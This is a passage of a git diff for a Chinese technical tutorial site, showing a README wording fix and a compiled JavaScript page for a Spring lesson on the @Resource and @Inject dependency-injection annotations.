diff --git a/404.html b/404.html index a75600a379ca15c4ee6781d0865313656e9315a8..de0ba036da3e4ab66add4adef1715c05619a2deb 100644 --- a/404.html +++ b/404.html @@ -29,14 +29,14 @@ - - + +

404

That's a Four-Oh-Four.
Take me home.
- + diff --git a/README.md b/README.md index 23dc54ae157a5d53d5dfc33055eea6fd5c2f34bf..275c26cdff7b760af557f250f232229be240c2de 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # BingheGuide | 冰河指南 ## 关于本仓库 -📚 本仓库是作者冰河多年从事多年互联网大厂开发、架构的学习历程技术汇总,旨在为大家提供一个清晰详细的学习教程,侧重点更倾向编写Java核心内容、底层原理、架构知识、渗透技术。如果本仓库能为您提供帮助,请给予支持(关注、点赞、分享)! +📚 本仓库是作者冰河多年从事互联网大厂开发、架构的学习历程技术汇总,旨在为大家提供一个清晰详细的学习教程,侧重点更倾向编写Java核心内容、底层原理、架构知识、渗透技术。如果本仓库能为您提供帮助,请给予支持(关注、点赞、分享)! ## 关于我 diff --git a/assets/js/cg-120.js b/assets/js/cg-120.js index 43991101b116f150ac5b187ab6d9491a5581c096..6d3b9d3e5f2d752928e3ed570bbe9a4b30451cfe 100644 --- a/assets/js/cg-120.js +++ b/assets/js/cg-120.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[120],{540:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"【spring注解驱动开发】你还不会使用-resource和-inject注解-那你就out了"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#【spring注解驱动开发】你还不会使用-resource和-inject注解-那你就out了"}},[s._v("#")]),s._v(" 【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!")]),s._v(" "),a("h2",{attrs:{id:"写在前面"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在前面"}},[s._v("#")]),s._v(" 写在前面")]),s._v(" "),a("blockquote",[a("p",[s._v("我在 "),a("strong",[s._v("冰河技术")]),s._v(" 微信公众号中发表的《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[s._v("【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),a("OutboundLink")],1),s._v("》一文中,介绍了如何使用@Autowired、@Qualifier和@Primary注解自动装配Spring组件。那除了这三个注解以外,还有没有其他的注解可以自动装配组件呢?那必须有啊!今天,我们就一起说说@Resource注解和@Inject注解。")]),s._v(" "),a("p",[s._v("关注 "),a("strong",[s._v("冰河技术")]),s._v(" 微信公众号,回复 “Spring注解”关键字领取源码工程。")])]),s._v(" "),a("h2",{attrs:{id:"resource注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#resource注解"}},[s._v("#")]),s._v(" @Resource注解")]),s._v(" "),a("p",[s._v("@Resource(这个注解属于J2EE的,JSR250),默认安照名称进行装配,名称可以通过name属性进行指定, 如果没有指定name属性,当注解写在字段上时,默认取字段名进行按照名称查找,如果注解写在setter方法上默认取属性名进行装配。 当找不到与名称匹配的bean时才按照类型进行装配。但是需要注意的是,如果name属性一旦指定,就只会按照名称进行装配。")]),s._v(" "),a("p",[s._v("@Resource注解的源码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("javax"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("TYPE")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Resource")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("lookup")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("?")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),s._v("Object")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("enum")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AuthenticationType")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONTAINER")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("APPLICATION")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AuthenticationType")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("authenticationType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AuthenticationType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONTAINER")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("shareable")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("mappedName")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("description")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br")])]),a("h2",{attrs:{id:"inject注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#inject注解"}},[s._v("#")]),s._v(" @Inject注解")]),s._v(" "),a("p",[s._v("@Inject注解(JSR330)默认是根据参数名去寻找bean注入,支持spring的@Primary注解优先注入,@Inject注解可以增加@Named注解指定注入的bean。")]),s._v(" "),a("p",[s._v("@Inject注解的源码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("javax"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("inject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Target")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Retention")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Documented")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("RUNTIME")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("METHOD")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("CONSTRUCTOR")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token import static"}},[a("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token static"}},[s._v("FIELD")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSTRUCTOR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Documented")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Inject")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br")])]),a("p",[a("strong",[s._v("注意:要想使用@Inject注解,需要在项目的pom.xml文件中添加如下依赖。")])]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javax.inject"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javax.inject"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("1"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("h2",{attrs:{id:"项目案例"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#项目案例"}},[s._v("#")]),s._v(" 项目案例")]),s._v(" "),a("h3",{attrs:{id:"测试-resource注解"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试-resource注解"}},[s._v("#")]),s._v(" 测试@Resource注解")]),s._v(" "),a("p",[s._v("首先,我们将项目中的PersonService类标注在personDao字段上的@Autowired注解和@Qualifier注解注释掉,然后添加@Resource注解,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v('//@Qualifier("personDao")')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//@Autowired(required = false)")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Resource")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("接下来,我们运行AutowiredTest类的testAutowired01()方法,输出的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("PersonService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("personDao"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("PersonDao"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("remark"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'1'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,使用@Resource注解也能够自动装配组件,只不过此时自动装配的是remark为1的personDao。而不是我们在AutowiredConfig类中配置的优先装配的remark为2的personDao。AutowiredConfig类中配置的remark为2的personDao如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Primary")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"personDao2"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("personDao")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),s._v(" personDao "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("PersonDao")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n personDao"),a("span",{pre:!0,attrs:{class:"token 